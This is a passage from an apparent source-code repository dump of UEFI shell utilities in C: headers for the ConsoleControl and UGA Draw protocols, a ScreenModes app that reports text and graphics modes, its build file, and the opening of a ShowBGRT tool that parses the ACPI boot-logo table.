*EFI_CONSOLE_CONTROL_PROTOCOL_GET_MODE) ( 41 | IN EFI_CONSOLE_CONTROL_PROTOCOL *This, 42 | OUT EFI_CONSOLE_CONTROL_SCREEN_MODE *Mode, 43 | OUT BOOLEAN *GopUgaExists, OPTIONAL 44 | OUT BOOLEAN *StdInLocked OPTIONAL 45 | ) 46 | /*++ 47 | 48 | Routine Description: 49 | Return the current video mode information. Also returns info about existence 50 | of Graphics Output devices or UGA Draw devices in system, and if the Std In 51 | device is locked. All the arguments are optional and only returned if a non 52 | NULL pointer is passed in. 53 | 54 | Arguments: 55 | This - Protocol instance pointer. 56 | Mode - Are we in text of grahics mode. 57 | GopUgaExists - TRUE if Console Spliter has found a GOP or UGA device 58 | StdInLocked - TRUE if StdIn device is keyboard locked 59 | 60 | Returns: 61 | EFI_SUCCESS - Mode information returned. 62 | 63 | --*/ 64 | ; 65 | 66 | 67 | typedef 68 | EFI_STATUS 69 | (EFIAPI *EFI_CONSOLE_CONTROL_PROTOCOL_SET_MODE) ( 70 | IN EFI_CONSOLE_CONTROL_PROTOCOL *This, 71 | IN EFI_CONSOLE_CONTROL_SCREEN_MODE Mode 72 | ) 73 | /*++ 74 | 75 | Routine Description: 76 | Set the current mode to either text or graphics. Graphics is 77 | for Quiet Boot. 78 | 79 | Arguments: 80 | This - Protocol instance pointer. 81 | Mode - Mode to set the 82 | 83 | Returns: 84 | EFI_SUCCESS - Mode information returned. 85 | 86 | --*/ 87 | ; 88 | 89 | 90 | typedef 91 | EFI_STATUS 92 | (EFIAPI *EFI_CONSOLE_CONTROL_PROTOCOL_LOCK_STD_IN) ( 93 | IN EFI_CONSOLE_CONTROL_PROTOCOL *This, 94 | IN CHAR16 *Password 95 | ) 96 | /*++ 97 | 98 | Routine Description: 99 | Lock Std In devices until Password is typed. 100 | 101 | Arguments: 102 | This - Protocol instance pointer. 103 | Password - Password needed to unlock screen. NULL means unlock keyboard 104 | 105 | Returns: 106 | EFI_SUCCESS - Mode information returned. 107 | EFI_DEVICE_ERROR - Std In not locked 108 | 109 | --*/ 110 | ; 111 | 112 | 113 | 114 | struct _EFI_CONSOLE_CONTROL_PROTOCOL { 115 | EFI_CONSOLE_CONTROL_PROTOCOL_GET_MODE GetMode; 116 | EFI_CONSOLE_CONTROL_PROTOCOL_SET_MODE SetMode; 117 | EFI_CONSOLE_CONTROL_PROTOCOL_LOCK_STD_IN LockStdIn; 118 | }; 119 | 120 | extern EFI_GUID gEfiConsoleControlProtocolGuid; 121 | 122 | #endif 123 | -------------------------------------------------------------------------------- /MyApps/ScreenModes/ScreenModes.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2015 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Display TEXT and GRAPHIC screen mode information 5 | // 6 | // License: BSD License 7 | // 8 | 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include "ConsoleControl.h" 25 | #include "UgaDraw.h" 26 | 27 | 28 | static int 29 | memcmp(const void *s1, const void *s2, UINTN n) 30 | { 31 | const unsigned char *c1 = s1, *c2 = s2; 32 | int d = 0; 33 | 34 | if (!s1 && !s2) 35 | return 0; 36 | if (s1 && !s2) 37 | return 1; 38 | if (!s1 && s2) 39 | return -1; 40 | 41 | while (n--) { 42 | d = (int)*c1++ - (int)*c2++; 43 | if (d) 44 | break; 45 | } 46 | 47 | return d; 48 | } 49 | 50 | 51 | EFI_STATUS 52 | PrintUGA(EFI_UGA_DRAW_PROTOCOL *Uga) 53 | { 54 | EFI_STATUS Status = EFI_SUCCESS; 55 | UINT32 HorzResolution = 0; 56 | UINT32 VertResolution = 0; 57 | UINT32 ColorDepth = 0; 58 | UINT32 RefreshRate = 0; 59 | 60 | 61 | Status = Uga->GetMode( Uga, &HorzResolution, &VertResolution, 62 | &ColorDepth, &RefreshRate); 63 | 64 | if (EFI_ERROR (Status)) { 65 | Print(L"ERROR: UGA GetMode failed [%d]\n", Status ); 66 | } else { 67 | Print(L"Horizontal Resolution: %d\n", HorzResolution); 68 | Print(L"Vertical Resolution: %d\n", VertResolution); 69 | Print(L"Color Depth: %d\n", ColorDepth); 70 | Print(L"Refresh Rate: %d\n", RefreshRate); 71 | Print(L"\n"); 72 | } 73 | 74 | return Status; 75 | } 76 | 77 | 78 | EFI_STATUS 79 | CheckUGA(BOOLEAN Verbose) 80 | { 81 | EFI_HANDLE *HandleBuffer = NULL; 82 | UINTN HandleCount = 0; 83 | EFI_STATUS Status = EFI_SUCCESS; 84 | EFI_UGA_DRAW_PROTOCOL *Uga; 85 | 86 | 87 | // get from ConsoleOutHandle? 88 | Status = gBS->HandleProtocol( gST->ConsoleOutHandle, 89 | &gEfiUgaDrawProtocolGuid, 90 | (VOID **) &Uga); 91 | if (EFI_ERROR (Status)) { 92 | Print(L"No UGA handle found via HandleProtocol\n"); 93 | } else { 94 | Print(L"UGA handle found via HandleProtocol\n"); 95 | if (Verbose) 96 | PrintUGA(Uga); 97 | } 98 | 99 | // try locating directly 100 | Status = gBS->LocateProtocol( &gEfiUgaDrawProtocolGuid, 101 | NULL, 102 | (VOID **) &Uga); 103 | if (EFI_ERROR(Status) || Uga == NULL) { 104 | Print(L"No UGA handle found via LocateProtocol\n"); 105 | } else { 106 | Print(L"Found UGA handle via LocateProtocol\n"); 107 | if (Verbose) 108 | PrintUGA(Uga); 109 | } 110 | 111 | // try locating by handle 112 | Status = gBS->LocateHandleBuffer( ByProtocol, 113 | &gEfiUgaDrawProtocolGuid, 114 | NULL, 115 | &HandleCount, 116 | &HandleBuffer); 117 | if (EFI_ERROR (Status)) { 118 | Print(L"No UGA handles found via LocateHandleBuffer\n"); 119 | } else { 120 | Print(L"Found %d UGA handles via LocateHandleBuffer\n", HandleCount); 121 | for (int i = 0; i < HandleCount; i++) { 122 | Status = gBS->HandleProtocol( HandleBuffer[i], 123 | &gEfiUgaDrawProtocolGuid, 124 | (VOID*) &Uga); 125 | if (!EFI_ERROR (Status)) { 126 | if (Verbose) 127 | PrintUGA(Uga); 128 | } 129 | } 130 | FreePool(HandleBuffer); 131 | } 132 | 133 | Print(L"\n"); 134 | 135 | return Status; 136 | } 137 | 138 | 139 | EFI_STATUS 140 | PrintGOP(EFI_GRAPHICS_OUTPUT_PROTOCOL *gop) 141 | { 142 | int i, imax; 143 | EFI_STATUS Status; 144 | 145 | imax = gop->Mode->MaxMode; 146 | 147 | Print(L"GOP reports MaxMode %d\n", imax); 148 | 149 | for (i = 0; i < imax; i++) { 150 | EFI_GRAPHICS_OUTPUT_MODE_INFORMATION *Info; 151 | UINTN SizeOfInfo; 152 | 153 | Status = gop->QueryMode(gop, i, &SizeOfInfo, &Info); 154 | if (EFI_ERROR(Status) && Status == EFI_NOT_STARTED) { 155 | gop->SetMode(gop, gop->Mode->Mode); 156 | Status = gop->QueryMode(gop, i, &SizeOfInfo, &Info); 157 | } 158 | 159 | if (EFI_ERROR(Status)) { 160 | Print(L"ERROR: Bad response from QueryMode: %d\n", Status); 161 | continue; 162 | } 163 | Print(L"%c%d: %dx%d ", memcmp(Info,gop->Mode->Info,sizeof(*Info)) == 0 ? '*' : ' ', i, 164 | Info->HorizontalResolution, 165 | Info->VerticalResolution); 166 | switch(Info->PixelFormat) { 167 | case PixelRedGreenBlueReserved8BitPerColor: 168 | Print(L"RGBRerserved"); 169 | break; 170 | case PixelBlueGreenRedReserved8BitPerColor: 171 | Print(L"BGRReserved"); 172 | break; 173 | case PixelBitMask: 174 | Print(L"Red:%08x Green:%08x Blue:%08x Reserved:%08x", 175 | Info->PixelInformation.RedMask, 176 | Info->PixelInformation.GreenMask, 177 | Info->PixelInformation.BlueMask, 178 | Info->PixelInformation.ReservedMask); 179 | break; 180 | case PixelBltOnly: 181 | Print(L"(blt only)"); 182 | break; 183 | default: 184 | Print(L"(Invalid pixel format)"); 185 | break; 186 | } 187 | Print(L" Pixels %d\n", Info->PixelsPerScanLine); 188 | } 189 | Print(L"\n"); 190 | 191 | return EFI_SUCCESS; 192 | } 193 | 194 | 195 | EFI_STATUS 196 | CheckGOP(BOOLEAN Verbose) 197 | { 198 | EFI_HANDLE *HandleBuffer = NULL; 199 | UINTN HandleCount = 0; 200 | EFI_STATUS Status = EFI_SUCCESS; 201 | EFI_GRAPHICS_OUTPUT_PROTOCOL *Gop; 202 | 203 | 204 | // get from ConsoleOutHandle? 205 | Status = gBS->HandleProtocol( gST->ConsoleOutHandle, 206 | &gEfiGraphicsOutputProtocolGuid, 207 | (VOID **) &Gop); 208 | if (EFI_ERROR (Status)) { 209 | Print(L"No GOP handle found via HandleProtocol\n"); 210 | } else { 211 | Print(L"GOP handle found via HandleProtocol\n"); 212 | if (Verbose) 213 | PrintGOP(Gop); 214 | } 215 | 216 | // try locating directly 217 | Status = gBS->LocateProtocol( &gEfiGraphicsOutputProtocolGuid, 218 | NULL, 219 | (VOID **) &Gop); 220 | if (EFI_ERROR(Status) || Gop == NULL) { 221 | Print(L"No GOP handle found via LocateProtocol\n"); 222 | } else { 223 | Print(L"Found GOP handle via LocateProtocol\n"); 224 | if (Verbose) 225 | PrintGOP(Gop); 226 | } 227 | 228 | // try locating by handle 229 | Status = gBS->LocateHandleBuffer( ByProtocol, 230 | &gEfiGraphicsOutputProtocolGuid, 231 | NULL, 232 | &HandleCount, 233 | &HandleBuffer); 234 | if (EFI_ERROR (Status)) { 235 | Print(L"No GOP handles found via LocateHandleBuffer\n"); 236 | } else { 237 | Print(L"Found %d GOP handles via LocateHandleBuffer\n", HandleCount); 238 | for (int i = 0; i < HandleCount; i++) { 239 | Status = gBS->HandleProtocol( HandleBuffer[i], 240 | &gEfiGraphicsOutputProtocolGuid, 241 | (VOID*) &Gop); 242 | if (!EFI_ERROR (Status)) { 243 | if (Verbose) 244 | PrintGOP(Gop); 245 | } 246 | } 247 | FreePool(HandleBuffer); 248 | } 249 | 250 | Print(L"\n"); 251 | 252 | return Status; 253 | } 254 | 255 | 256 | EFI_STATUS 257 | PrintCCP(EFI_CONSOLE_CONTROL_PROTOCOL *ConsoleControl) 258 | { 259 | EFI_STATUS Status = EFI_SUCCESS; 260 | EFI_CONSOLE_CONTROL_SCREEN_MODE Mode; 261 | BOOLEAN GopUgaExists; 262 | BOOLEAN StdInLocked; 263 | 264 | Status = ConsoleControl->GetMode(ConsoleControl, &Mode, &GopUgaExists, &StdInLocked); 265 | if (EFI_ERROR (Status)) { 266 | Print(L"ERROR: ConsoleControl GetMode failed [%d]\n", Status ); 267 | return Status; 268 | } 269 | 270 | Print(L"Screen mode: "); 271 | switch (Mode) { 272 | case EfiConsoleControlScreenText: 273 | Print(L"Text"); 274 | break; 275 | case EfiConsoleControlScreenGraphics: 276 | Print(L"Graphics"); 277 | break; 278 | case EfiConsoleControlScreenMaxValue: 279 | Print(L"MaxValue"); 280 | break; 281 | } 282 | Print(L"\n"); 283 | Print(L"Graphics Support Avalaiable: "); 284 | if (GopUgaExists) 285 | Print(L"Yes"); 286 | else 287 | Print(L"No"); 288 | Print(L"\n"); 289 | 290 | Print(L"\n"); 291 | 292 | return EFI_SUCCESS; 293 | } 294 | 295 | 296 | EFI_STATUS 297 | CheckCCP(BOOLEAN Verbose) 298 | { 299 | EFI_GUID gEfiConsoleControlProtocolGuid = EFI_CONSOLE_CONTROL_PROTOCOL_GUID; 300 | EFI_CONSOLE_CONTROL_PROTOCOL *ConsoleControl = NULL; 301 | EFI_HANDLE *HandleBuffer = NULL; 302 | UINTN HandleCount = 0; 303 | EFI_STATUS Status = EFI_SUCCESS; 304 | 305 | // get from ConsoleOutHandle? 306 | Status = gBS->HandleProtocol( gST->ConsoleOutHandle, 307 | &gEfiConsoleControlProtocolGuid, 308 | (VOID **) &ConsoleControl); 309 | if (EFI_ERROR (Status)) { 310 | Print(L"No ConsoleControl handle found via HandleProtocol\n"); 311 | } else { 312 | Print(L"ConsoleControl handle found via HandleProtocol\n"); 313 | if (Verbose) 314 | PrintCCP(ConsoleControl); 315 | } 316 | 317 | // try locating directly 318 | Status = gBS->LocateProtocol( &gEfiConsoleControlProtocolGuid, 319 | NULL, 320 | (VOID **) &ConsoleControl); 321 | if (EFI_ERROR(Status) || ConsoleControl == NULL) { 322 | Print(L"No ConsoleControl handle found via LocateProtocol\n"); 323 | } else { 324 | Print(L"Found ConsoleControl handle via LocateProtocol\n"); 325 | if (Verbose) 326 | PrintCCP(ConsoleControl); 327 | } 328 | 329 | // try locating by handle 330 | Status = gBS->LocateHandleBuffer( ByProtocol, 331 | &gEfiConsoleControlProtocolGuid, 332 | NULL, 333 | &HandleCount, 334 | &HandleBuffer); 335 | if (EFI_ERROR (Status)) { 336 | Print(L"No ConsoleControl handles found via LocateHandleBuffer\n"); 337 | } else { 338 | Print(L"Found %d ConsoleControl handles via LocateHandleBuffer\n", HandleCount); 339 | for (int i = 0; i < HandleCount; i++) { 340 | Status = gBS->HandleProtocol( HandleBuffer[i], 341 | &gEfiConsoleControlProtocolGuid, 342 | (VOID*) &ConsoleControl); 343 | if (!EFI_ERROR (Status)) 344 | if (Verbose) 345 | PrintCCP(ConsoleControl); 346 | } 347 | FreePool(HandleBuffer); 348 | } 349 | 350 | Print(L"\n"); 351 | 352 | return Status; 353 | } 354 | 355 | 356 | 357 | static void 358 | Usage(void) 359 | { 360 | Print(L"Usage: ScreenModes [-v|--verbose]\n"); 361 | } 362 | 363 | 364 | INTN 365 | EFIAPI 366 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 367 | { 368 | EFI_STATUS Status = EFI_SUCCESS; 369 | BOOLEAN Verbose = FALSE; 370 | 371 | if (Argc == 2) { 372 | if (!StrCmp(Argv[1], L"--verbose") || 373 | !StrCmp(Argv[1], L"-v")) { 374 | Verbose = TRUE; 375 | } 376 | if (!StrCmp(Argv[1], L"--help") || 377 | !StrCmp(Argv[1], L"-h") || 378 | !StrCmp(Argv[1], L"-?")) { 379 | Usage(); 380 | return Status; 381 | } 382 | } 383 | 384 | 385 | // First check for older EDK ConsoleControl protocol support 386 | CheckCCP(Verbose); 387 | 388 | // Next check for UGA support (probably none) 389 | CheckUGA(Verbose); 390 | 391 | // Finally check for GOP support 392 | CheckGOP(Verbose); 393 | 394 | return Status; 395 | } 396 | -------------------------------------------------------------------------------- /MyApps/ScreenModes/ScreenModes.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ScreenModes 4 | FILE_GUID = 4ea87c54-7795-4dcd-0055-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ScreenModes.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | 18 | [LibraryClasses] 19 | ShellCEntryLib 20 | ShellLib 21 | BaseLib 22 | BaseMemoryLib 23 | UefiLib 24 | 25 | [Protocols] 26 | 27 | [BuildOptions] 28 | 29 | [Pcd] 30 | 31 | -------------------------------------------------------------------------------- /MyApps/ScreenModes/UgaDraw.h: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) 2004, Intel Corporation 4 | All rights reserved. This program and the accompanying materials 5 | are licensed and made available under the terms and conditions of the BSD License 6 | which accompanies this distribution. The full text of the license may be found at 7 | http://opensource.org/licenses/bsd-license.php 8 | 9 | THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, 10 | WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. 11 | 12 | Module Name: 13 | 14 | UgaDraw.h 15 | 16 | Abstract: 17 | 18 | UGA Draw protocol from the EFI 1.1 specification. 19 | 20 | Abstraction of a very simple graphics device. 21 | 22 | --*/ 23 | 24 | #ifndef __UGA_DRAW_H__ 25 | #define __UGA_DRAW_H__ 26 | 27 | #define EFI_UGA_DRAW_PROTOCOL_GUID \ 28 | { \ 29 | 0x982c298b, 0xf4fa, 0x41cb, { 0xb8, 0x38, 0x77, 0xaa, 0x68, 0x8f, 0xb8, 0x39 } \ 30 | } 31 | 32 | /* typedef struct _EFI_UGA_DRAW_PROTOCOL EFI_UGA_DRAW_PROTOCOL; */ 33 | struct _EFI_UGA_DRAW_PROTOCOL; 34 | 35 | typedef 36 | EFI_STATUS 37 | (EFIAPI *EFI_UGA_DRAW_PROTOCOL_GET_MODE) ( 38 | IN struct _EFI_UGA_DRAW_PROTOCOL * This, 39 | OUT UINT32 *HorizontalResolution, 40 | OUT UINT32 *VerticalResolution, 41 | OUT UINT32 *ColorDepth, 42 | OUT UINT32 *RefreshRate 43 | ) 44 | /*++ 45 | 46 | Routine Description: 47 | Return the current video mode information. 48 | 49 | Arguments: 50 | This - Protocol instance pointer. 51 | HorizontalResolution - Current video horizontal resolution in pixels 52 | VerticalResolution - Current video vertical resolution in pixels 53 | ColorDepth - Current video color depth in bits per pixel 54 | RefreshRate - Current video refresh rate in Hz. 55 | 56 | Returns: 57 | EFI_SUCCESS - Mode information returned. 58 | EFI_NOT_STARTED - Video display is not initialized. Call SetMode () 59 | EFI_INVALID_PARAMETER - One of the input args was NULL. 60 | 61 | --*/ 62 | ; 63 | 64 | typedef 65 | EFI_STATUS 66 | (EFIAPI *EFI_UGA_DRAW_PROTOCOL_SET_MODE) ( 67 | IN struct _EFI_UGA_DRAW_PROTOCOL * This, 68 | IN UINT32 HorizontalResolution, 69 | IN UINT32 VerticalResolution, 70 | IN UINT32 ColorDepth, 71 | IN UINT32 RefreshRate 72 | ) 73 | /*++ 74 | 75 | Routine Description: 76 | Return the current video mode information. 77 | 78 | Arguments: 79 | This - Protocol instance pointer. 80 | HorizontalResolution - Current video horizontal resolution in pixels 81 | VerticalResolution - Current video vertical resolution in pixels 82 | ColorDepth - Current video color depth in bits per pixel 83 | RefreshRate - Current video refresh rate in Hz. 84 | 85 | Returns: 86 | EFI_SUCCESS - Mode information returned. 87 | EFI_NOT_STARTED - Video display is not initialized. Call SetMode () 88 | 89 | --*/ 90 | ; 91 | 92 | typedef struct { 93 | UINT8 Blue; 94 | UINT8 Green; 95 | UINT8 Red; 96 | UINT8 Reserved; 97 | } EFI_UGA_PIXEL; 98 | 99 | typedef union { 100 | EFI_UGA_PIXEL Pixel; 101 | UINT32 Raw; 102 | } EFI_UGA_PIXEL_UNION; 103 | 104 | typedef enum { 105 | EfiUgaVideoFill, 106 | EfiUgaVideoToBltBuffer, 107 | EfiUgaBltBufferToVideo, 108 | EfiUgaVideoToVideo, 109 | EfiUgaBltMax 110 | } EFI_UGA_BLT_OPERATION; 111 | 112 | typedef 113 | EFI_STATUS 114 | (EFIAPI *EFI_UGA_DRAW_PROTOCOL_BLT) ( 115 | IN struct _EFI_UGA_DRAW_PROTOCOL * This, 116 | IN EFI_UGA_PIXEL * BltBuffer, OPTIONAL 117 | IN EFI_UGA_BLT_OPERATION BltOperation, 118 | IN UINTN SourceX, 119 | IN UINTN SourceY, 120 | IN UINTN DestinationX, 121 | IN UINTN DestinationY, 122 | IN UINTN Width, 123 | IN UINTN Height, 124 | IN UINTN Delta OPTIONAL 125 | ); 126 | 127 | /*++ 128 | 129 | Routine Description: 130 | The following table defines actions for BltOperations: 131 | EfiUgaVideoFill - Write data from the BltBuffer pixel (SourceX, SourceY) 132 | directly to every pixel of the video display rectangle 133 | (DestinationX, DestinationY) (DestinationX + Width, DestinationY + Height). 134 | Only one pixel will be used from the BltBuffer. Delta is NOT used. 135 | EfiUgaVideoToBltBuffer - Read data from the video display rectangle 136 | (SourceX, SourceY) (SourceX + Width, SourceY + Height) and place it in 137 | the BltBuffer rectangle (DestinationX, DestinationY ) 138 | (DestinationX + Width, DestinationY + Height). If DestinationX or 139 | DestinationY is not zero then Delta must be set to the length in bytes 140 | of a row in the BltBuffer. 141 | EfiUgaBltBufferToVideo - Write data from the BltBuffer rectangle 142 | (SourceX, SourceY) (SourceX + Width, SourceY + Height) directly to the 143 | video display rectangle (DestinationX, DestinationY) 144 | (DestinationX + Width, DestinationY + Height). If SourceX or SourceY is 145 | not zero then Delta must be set to the length in bytes of a row in the 146 | BltBuffer. 147 | EfiUgaVideoToVideo - Copy from the video display rectangle (SourceX, SourceY) 148 | (SourceX + Width, SourceY + Height) .to the video display rectangle 149 | (DestinationX, DestinationY) (DestinationX + Width, DestinationY + Height). 150 | The BltBuffer and Delta are not used in this mode. 151 | 152 | Arguments: 153 | This - Protocol instance pointer. 154 | BltBuffer - Buffer containing data to blit into video buffer. This 155 | buffer has a size of Width*Height*sizeof(EFI_UGA_PIXEL) 156 | BltOperation - Operation to perform on BlitBuffer and video memory 157 | SourceX - X coordinate of source for the BltBuffer. 158 | SourceY - Y coordinate of source for the BltBuffer. 159 | DestinationX - X coordinate of destination for the BltBuffer. 160 | DestinationY - Y coordinate of destination for the BltBuffer. 161 | Width - Width of rectangle in BltBuffer in pixels. 162 | Height - Hight of rectangle in BltBuffer in pixels. 163 | Delta - 164 | 165 | Returns: 166 | EFI_SUCCESS - The Blt operation completed. 167 | EFI_INVALID_PARAMETER - BltOperation is not valid. 168 | EFI_DEVICE_ERROR - A hardware error occured writting to the video 169 | buffer. 170 | 171 | --*/ 172 | ; 173 | 174 | typedef struct _EFI_UGA_DRAW_PROTOCOL { 175 | EFI_UGA_DRAW_PROTOCOL_GET_MODE GetMode; 176 | EFI_UGA_DRAW_PROTOCOL_SET_MODE SetMode; 177 | EFI_UGA_DRAW_PROTOCOL_BLT Blt; 178 | } EFI_UGA_DRAW_PROTOCOL; 179 | 180 | extern EFI_GUID gEfiUgaDrawProtocolGuid; 181 | 182 | #endif 183 | -------------------------------------------------------------------------------- /MyApps/ShowBGRT/ShowBGRT.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2015 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Show BGRT info, save image to file if option selected 5 | // 6 | // License: BSD License 7 | // 8 | 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | 27 | #define EFI_ACPI_TABLE_GUID \ 28 | { 0xeb9d2d30, 0x2d88, 0x11d3, {0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d }} 29 | #define EFI_ACPI_20_TABLE_GUID \ 30 | { 0x8868e871, 0xe4f1, 0x11d3, {0xbc, 0x22, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81 }} 31 | 32 | 33 | // Boot Graphics Resource Table definition 34 | typedef struct { 35 | EFI_ACPI_SDT_HEADER Header; 36 | UINT16 Version; 37 | UINT8 Status; 38 | UINT8 ImageType; 39 | UINT64 ImageAddress; 40 | UINT32 ImageOffsetX; 41 | UINT32 ImageOffsetY; 42 | } EFI_ACPI_BGRT; 43 | 44 | #define EFI_ACPI_5_0_BOOT_GRAPHICS_RESOURCE_TABLE_REVISION 1 45 | #define EFI_ACPI_5_0_BGRT_VERSION 0x01 46 | #define EFI_ACPI_5_0_BGRT_STATUS_NOT_DISPLAYED 0x00 47 | #define EFI_ACPI_5_0_BGRT_STATUS_DISPLAYED 0x01 48 | #define EFI_ACPI_5_0_BGRT_STATUS_INVALID EFI_ACPI_5_0_BGRT_STATUS_NOT_DISPLAYED 49 | #define EFI_ACPI_5_0_BGRT_STATUS_VALID EFI_ACPI_5_0_BGRT_STATUS_DISPLAYED 50 | #define EFI_ACPI_5_0_BGRT_IMAGE_TYPE_BMP 0x00 51 | 52 | typedef struct { 53 | CHAR8 CharB; 54 | CHAR8 CharM; 55 | UINT32 Size; 56 | UINT16 Reserved[2]; 57 | UINT32 ImageOffset; 58 | UINT32 HeaderSize; 59 | UINT32 PixelWidth; 60 | UINT32 PixelHeight; 61 | UINT16 Planes; 62 | UINT16 BitPerPixel; 63 | UINT32 CompressionType; 64 | UINT32 ImageSize; 65 | UINT32 XPixelsPerMeter; 66 | UINT32 YPixelsPerMeter; 67 | UINT32 NumberOfColors; 68 | UINT32 ImportantColors; 69 | } __attribute__((__packed__)) BMP_IMAGE_HEADER; 70 | 71 | 72 | int Verbose = 0; 73 | int SaveImage = 0; 74 | 75 | 76 | static VOID 77 | AsciiToUnicodeSize( CHAR8 *String, 78 | UINT8 length, 79 | CHAR16 *UniString) 80 | { 81 | int len = length; 82 | 83 | while (*String != '\0' && len > 0) { 84 | *(UniString++) = (CHAR16) *(String++); 85 | len--; 86 | } 87 | *UniString = '\0'; 88 | } 89 | 90 | 91 | 92 | // 93 | // Save Boot Logo image as a BMP file 94 | // 95 | EFI_STATUS 96 | SaveBMP( CHAR16 *FileName, 97 | UINT8 *FileData, 98 | UINTN FileDataLength) 99 | { 100 | EFI_STATUS Status; 101 | EFI_FILE_HANDLE FileHandle; 102 | UINTN BufferSize; 103 | EFI_FILE_PROTOCOL *Root; 104 | EFI_SIMPLE_FILE_SYSTEM_PROTOCOL *SimpleFileSystem; 105 | 106 | Status = gBS->LocateProtocol( &gEfiSimpleFileSystemProtocolGuid, 107 | NULL, 108 | (VOID **)&SimpleFileSystem); 109 | if (EFI_ERROR(Status)) { 110 | Print(L"Cannot find EFI_SIMPLE_FILE_SYSTEM_PROTOCOL \r\n"); 111 | return Status; 112 | } 113 | 114 | Status = SimpleFileSystem->OpenVolume(SimpleFileSystem, &Root); 115 | if (EFI_ERROR(Status)) { 116 | Print(L"ERROR: Volume open\n"); 117 | return Status; 118 | } 119 | 120 | Status = Root->Open( Root, 121 | &FileHandle, 122 | FileName, 123 | EFI_FILE_MODE_READ | EFI_FILE_MODE_WRITE | EFI_FILE_MODE_CREATE, 124 | 0); 125 | if (EFI_ERROR(Status)) { 126 | Print(L"ERROR: File open\n"); 127 | return Status; 128 | } 129 | 130 | BufferSize = FileDataLength; 131 | Status = FileHandle->Write(FileHandle, &BufferSize, FileData); 132 | FileHandle->Close(FileHandle); 133 | 134 | Print(L"Successfully saved bootlogo.bmp\n"); 135 | 136 | return Status; 137 | } 138 | 139 | 140 | // 141 | // Parse the in-memory BMP header 142 | // 143 | EFI_STATUS 144 | ParseBMP(UINT64 BmpImage) 145 | { 146 | BMP_IMAGE_HEADER *BmpHeader = (BMP_IMAGE_HEADER *)BmpImage; 147 | EFI_STATUS Status = EFI_SUCCESS; 148 | CHAR16 Buffer[100]; 149 | 150 | if (Verbose) { 151 | // not BMP format 152 | if (BmpHeader->CharB != 'B' || BmpHeader->CharM != 'M') { 153 | Print(L"ERROR: Unsupported image format\n"); 154 | return EFI_UNSUPPORTED; 155 | } 156 | 157 | // BITMAPINFOHEADER format unsupported 158 | if (BmpHeader->HeaderSize != sizeof (BMP_IMAGE_HEADER) \ 159 | - ((UINTN) &(((BMP_IMAGE_HEADER *)0)->HeaderSize))) { 160 | Print(L"ERROR: Unsupported BITMAPFILEHEADER\n"); 161 | return EFI_UNSUPPORTED; 162 | } 163 | 164 | // compression type not 0 165 | if (BmpHeader->CompressionType != 0) { 166 | Print(L"ERROR: Compression Type not 0\n"); 167 | return EFI_UNSUPPORTED; 168 | } 169 | 170 | // unsupported bits per pixel 171 | if (BmpHeader->BitPerPixel != 4 && 172 | BmpHeader->BitPerPixel != 8 && 173 | BmpHeader->BitPerPixel != 12 && 174 | BmpHeader->BitPerPixel != 24) { 175 | Print(L"ERROR: Bits per pixel is not one of 4, 8, 12 or 24\n"); 176 | return EFI_UNSUPPORTED; 177 | } 178 | 179 | Print(L"\n"); 180 | AsciiToUnicodeSize((CHAR8 *)BmpHeader, 2, Buffer); 181 | Print(L"BMP Signature : %s\n", Buffer); 182 | Print(L"Size : %d\n", BmpHeader->Size); 183 | Print(L"Image Offset : %d\n", BmpHeader->ImageOffset); 184 | Print(L"Header Size : %d\n", BmpHeader->HeaderSize); 185 | Print(L"Image Width : %d\n", BmpHeader->PixelWidth); 186 | Print(L"Image Height : %d\n", BmpHeader->PixelHeight); 187 | Print(L"Planes : %d\n", BmpHeader->Planes); 188 | Print(L"Bit Per Pixel : %d\n", BmpHeader->BitPerPixel); 189 | Print(L"Compression Type : %d\n", BmpHeader->CompressionType); 190 | Print(L"Image Size : %d\n", BmpHeader->ImageSize); 191 | Print(L"X Pixels Per Meter: %d\n", BmpHeader->XPixelsPerMeter); 192 | Print(L"Y Pixels Per Meter: %d\n", BmpHeader->YPixelsPerMeter); 193 | Print(L"Number of Colors : %d\n", BmpHeader->NumberOfColors); 194 | Print(L"Important Colors : %d\n", BmpHeader->ImportantColors); 195 | } // Verbose 196 | 197 | // save the boot logo to a file 198 | if (SaveImage) { 199 | Status = SaveBMP(L"bootlogo.bmp", (UINT8 *)BmpImage, BmpHeader->Size); 200 | if (EFI_ERROR(Status)) { 201 | Print(L"ERROR: Saving boot logo file: %x\n", Status); 202 | } 203 | } 204 | 205 | return EFI_SUCCESS; 206 | } 207 | 208 | 209 | // 210 | // Parse Boot Graphic Resource Table 211 | // 212 | static VOID 213 | ParseBGRT(EFI_ACPI_BGRT *Bgrt) 214 | { 215 | CHAR16 Buffer[100]; 216 | 217 | Print(L"\n"); 218 | AsciiToUnicodeSize((CHAR8 *)&(Bgrt->Header.Signature), 4, Buffer); 219 | Print(L"Signature : %s\n", Buffer); 220 | Print(L"Length : %d\n", Bgrt->Header.Length); 221 | Print(L"Revision : %d\n", Bgrt->Header.Revision); 222 | Print(L"Checksum : %d\n", Bgrt->Header.Checksum); 223 | AsciiToUnicodeSize((CHAR8 *)(Bgrt->Header.OemId), 6, Buffer); 224 | Print(L"Oem ID : %s\n", Buffer); 225 | 